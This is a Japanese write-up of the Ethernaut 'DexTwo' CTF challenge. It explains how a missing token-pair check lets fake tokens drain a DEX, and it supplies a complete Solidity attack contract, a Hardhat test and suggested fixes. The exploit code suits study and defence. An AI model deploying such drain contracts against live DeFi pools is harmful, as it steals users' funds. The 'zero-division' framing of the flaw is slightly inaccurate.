Skip to content
On this page

DexTwo CTF課題解析:流動性プール設計の脆弱性を利用してトークン準備を枯渇させる方法

はじめに

イーサリアムのスマートコントラクトセキュリティにおいて、分散型取引所(DEX)は常に監査の重点対象です。OpenZeppelinのEthernautプラットフォームが提供する「DexTwo」CTF課題は、成熟したDEXコントラクトでも小さな修正によって重大な脆弱性が生じる可能性を示しています。本稿では、DexTwoコントラクトの設計上の欠陥、攻撃の原理、および攻撃の実装方法を詳しく解析します。

DexTwoコントラクト構造の解析

コントラクト構造概要

DexTwoは、簡易的な分散型取引所の実装で、恒常積型マーケットメーカー(Constant Product Market Maker)モデルに基づいています。Uniswap V1/V2に似た設計で、2種類のトークン間の交換を可能にしますが、重要な設計上の欠陥があります。

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;
    
    // ... その他の関数
}

主要関数の解析

swap関数:交換ロジックの中核

solidity
function swap(address from, address to, uint256 amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint256 swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

getSwapAmount関数:価格計算の仕組み

solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

セキュリティ脆弱性の解析

標準DEXとの重要な違い

Uniswap V2の標準実装では、流動性プールは事前に定義された2つのトークンペアのみをサポートし、厳格な検証で交換対象を制限します。しかし、DexTwoには以下の重大な問題があります:

  1. トークンペアの検証がないswap関数は任意のfromtoアドレスを受け入れ、コントラクトで設定されたtoken1token2かどうかを検証していない
  2. 最小流動性チェックなしgetSwapAmount関数は、分母(fromトークンの残高)がゼロかどうかの確認を行わない

数学的な脆弱性:ゼロ除算リスク

攻撃者がDEXコントラクトに少量のカスタムトークンを送信した場合、そのトークンのDEX内残高は非常に小さくなる可能性があります(場合によっては1)。この状態で、このカスタムトークンを使ってtoken1token2を交換すると、価格計算式は以下のようになります:

swapAmount = (amount * targetTokenBalance) / customTokenBalance

もしcustomTokenBalanceが1で、amountも1なら:

swapAmount = (1 * targetTokenBalance) / 1 = targetTokenBalance

つまり、攻撃者は1個のカスタムトークンでDEX内のすべての対象トークンを獲得できてしまいます!

攻撃の実施詳細

攻撃戦略の設計

攻撃の核心は以下です:

  1. 2種類のカスタムERC20トークン(攻撃用トークン)をデプロイ
  2. DexTwoコントラクトに少量の攻撃トークン(各1個)を送る
  3. 価格計算式の脆弱性を利用し、1個の攻撃トークンAでtoken1全量を交換
  4. 1個の攻撃トークンBでtoken2全量を交換

攻撃コントラクトの実装

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDexTwo {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function swap(address from, address to, uint256 amount) external;
}

contract Hack {
    IDexTwo private immutable target;
    IERC20 private immutable t1;
    IERC20 private immutable t2;
    
    constructor(address _target) {
        target = IDexTwo(_target);
        t1 = IERC20(target.token1());
        t2 = IERC20(target.token2());
        
        // 2種類の攻撃用トークンをデプロイ
        SwappableTokenTwo attackToken1 = new SwappableTokenTwo(
            address(target), 
            "Attack Token 1", 
            "ATK1", 
            10000
        );
        
        SwappableTokenTwo attackToken2 = new SwappableTokenTwo(
            address(target), 
            "Attack Token 2", 
            "ATK2", 
            10000
        );
        
        // DEXに1個ずつ攻撃トークンを転送
        attackToken1.transfer(address(target), 1);
        attackToken2.transfer(address(target), 1);
        
        // DEXに攻撃トークンの使用を承認
        attackToken1.approve(address(target), 1);
        attackToken2.approve(address(target), 1);
        
        // 攻撃実行:1個の攻撃トークンでtoken1全量を交換
        target.swap(address(attackToken1), address(t1), 1);
        
        // 攻撃実行:1個の攻撃トークンでtoken2全量を交換
        target.swap(address(attackToken2), address(t2), 1);
    }
}

攻撃用トークンコントラクト

solidity
contract SwappableTokenTwo is ERC20 {
    address private _dex;
    
    constructor(
        address dexInstance, 
        string memory name, 
        string memory symbol, 
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }
    
    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

テストによる検証

完全なテストスクリプト

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { DexTwo, SwappableTokenTwo, Hack } from "../typechain-types";

describe("DexTwo Attack Test", function () {
    let dexTwo: DexTwo;
    let token1: SwappableTokenTwo;
    let token2: SwappableTokenTwo;
    let attacker: any;
    
    beforeEach(async function () {
        [attacker] = await ethers.getSigners();
        
        const DexTwoFactory = await ethers.getContractFactory("DexTwo");
        dexTwo = await DexTwoFactory.deploy();
        await dexTwo.deployed();
        
        const TokenFactory = await ethers.getContractFactory("SwappableTokenTwo");
        token1 = await TokenFactory.deploy(dexTwo.address, "Token 1", "TKN1", 1000);
        await token1.deployed();
        token2 = await TokenFactory.deploy(dexTwo.address, "Token 2", "TKN2", 1000);
        await token2.deployed();
        
        await dexTwo.setTokens(token1.address, token2.address);
        await token1.approve(dexTwo.address, 100);
        await token2.approve(dexTwo.address, 100);
        await dexTwo.add_liquidity(token1.address, 100);
        await dexTwo.add_liquidity(token2.address, 100);
        await token1.transfer(attacker.address, 10);
        await token2.transfer(attacker.address, 10);
    });
    
    it("DEX内の全トークンを枯渇させることに成功する", async function () {
        const initialDexToken1 = await token1.balanceOf(dexTwo.address);
        const initialDexToken2 = await token2.balanceOf(dexTwo.address);
        expect(initialDexToken1).to.equal(100);
        expect(initialDexToken2).to.equal(100);
        
        const HackFactory = await ethers.getContractFactory("Hack");
        const hack = await HackFactory.deploy(dexTwo.address);
        await hack.deployed();
        
        const finalDexToken1 = await token1.balanceOf(dexTwo.address);
        const finalDexToken2 = await token2.balanceOf(dexTwo.address);
        
        expect(finalDexToken1).to.equal(0);
        expect(finalDexToken2).to.equal(0);
        
        console.log("攻撃成功!DEX内のトークンが完全に枯渇");
        console.log(`DEX内のtoken1残高: ${finalDexToken1}`);
        console.log(`DEX内のtoken2残高: ${finalDexToken2}`);
    });
    
    it("価格計算の脆弱性を確認", async function () {
        const AttackTokenFactory = await ethers.getContractFactory("SwappableTokenTwo");
        const attackToken = await AttackTokenFactory.deploy(dexTwo.address, "Attack Token", "ATK", 1000);
        await attackToken.deployed();
        
        await attackToken.transfer(dexTwo.address, 1);
        
        const swapAmount = await dexTwo.getSwapAmount(attackToken.address, token1.address, 1);
        
        console.log(`1個の攻撃トークンで交換可能なtoken1数: ${swapAmount}`);
        expect(swapAmount).to.equal(100);
    });
});

セキュリティ対策の提案

修正案

DexTwoの脆弱性を修正するには、以下の改善が必要です:

  1. トークンペアの検証を追加
solidity
function swap(address from, address to, uint256 amount) public {
    require(
        (from == token1 && to == token2) || (from == token2 && to == token1),
        "Invalid token pair"
    );
    // ... 既存ロジック
}
  1. 最小流動性チェックを追加
solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    uint256 fromBalance = IERC20(from).balanceOf(address(this));
    uint256 toBalance = IERC20(to).balanceOf(address(this));
    
    require(fromBalance > 0, "Insufficient liquidity for from token");
    require(toBalance > 0, "Insufficient liquidity for to token");
    
    return (amount * toBalance) / fromBalance;
}
  1. スリッページ保護を実装
solidity
function swap(
    address from, 
    address to, 
    uint256 amount, 
    uint256 minReturn
) public {
    uint256 swapAmount = getSwapAmount(from, to, amount);
    require(swapAmount >= minReturn, "Slippage too high");
    // ... 交換ロジック
}

ベストプラクティス

  1. 成熟したDEXテンプレートを使用:Uniswap V2など十分に監査されたコアコントラクト
  2. 徹底した入力検証:外部入力に対して厳格なバリデーション
  3. 数学的チェックの徹底:ゼロ除算や整数オーバーフローの防止
  4. 再入可能性対策:Checks-Effects-Interactionsパターンの使用
  5. 専門的なセキュリティ監査:デプロイ前にプロによる監査実施

結論

DexTwo CTF課題は、スマートコントラクト開発における一般的かつ危険なミスを示しています:適切な入力検証や境界チェックの欠如です。任意のトークンペアでの交換を許可し、流動性プール残高を検証しないことで、攻撃者は極めて低コストで全資産を枯渇させることが可能です。

この事例は、DeFiプロトコル開発において厳格なセキュリティ対策を実施する重要性を強調します。開発者は常にユーザーが最も悪意のある方法でコントラクトと相互作用することを前提に設計すべきです。特にDEXコントラクトでは、流動性管理、価格計算、トークンペアの検証に注意が必要です。

このような脆弱性の原理と利用方法を深く理解することで、開発者はより安全なスマートコントラクトを設計でき、セキュリティ研究者は類似の問題を効率的に発見・報告することができ、ブロックチェーンエコシステム全体の安全性向上に寄与できます。

Built with AiAda